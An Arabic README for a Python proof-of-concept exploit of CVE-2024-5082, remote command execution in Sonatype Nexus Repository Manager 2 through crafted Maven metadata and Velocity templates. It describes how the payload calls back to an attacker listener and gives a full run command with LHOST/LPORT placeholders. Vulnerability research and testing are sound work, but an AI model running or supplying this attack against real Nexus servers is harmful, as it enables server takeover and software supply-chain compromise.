
إثبات مفهوم لاستغلال CVE-2024-5082، وهي ثغرة تنفيذ كود عن بعد في Sonatype Nexus Repository Manager 2 عبر قطع Maven معدّة ومعالجة قوالب Velocity.
يحتوي هذا المستودع على برهان مفهوم بلغة بايثون لـ CVE-2024-5082، وهي ثغرة تنفيذ أوامر عن بُعد في Sonatype Nexus Repository Manager 2.
تسمح الثغرة لمستخدم لديه صلاحية كافية بنشر قطعة أثرية Maven مصممة خصيصًا ووضع علامة عليها لمعالجتها بواسطة منشئ محتوى Velocity. عند استرداد القطعة الأثرية، يتم تقييم قالب Velocity المضمن بواسطة Nexus وقد ينفذ أمرًا في سياق أمان JVM الخاص بـ Nexus.
وفقًا لـ Sonatype:
يتم تنفيذ الأمر على جهاز استضافة Nexus.
لا يؤدي تنزيل القطعة الأثرية المتأثرة من خادم بناء أو خادم تطبيق أو محطة عمل مطور بحد ذاته إلى تنفيذ الأمر المضمن على ذلك النظام المستهلك. ومع ذلك، قد يؤدي اختراق مدير المستودع إلى خلق مخاطر أوسع في سلسلة التوريد إذا قام المهاجم لاحقًا بتعديل القطع الأثرية الموثوقة أو مدخلات البناء أو بيانات الاعتماد أو تكوين المستودع.
يقوم السكربت بما يلي:
maven-metadata.xml معد خصيصًا إلى مستودع مستضاف محدد.velocity.يقوم الحمولة المقدمة بإنشاء اتصال TCP خارجي من جهاز Nexus إلى عنوان المستمع المكوّن.
يستخدم السكربت الحالي مصادقة HTTP الأساسية ويتطلب:
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000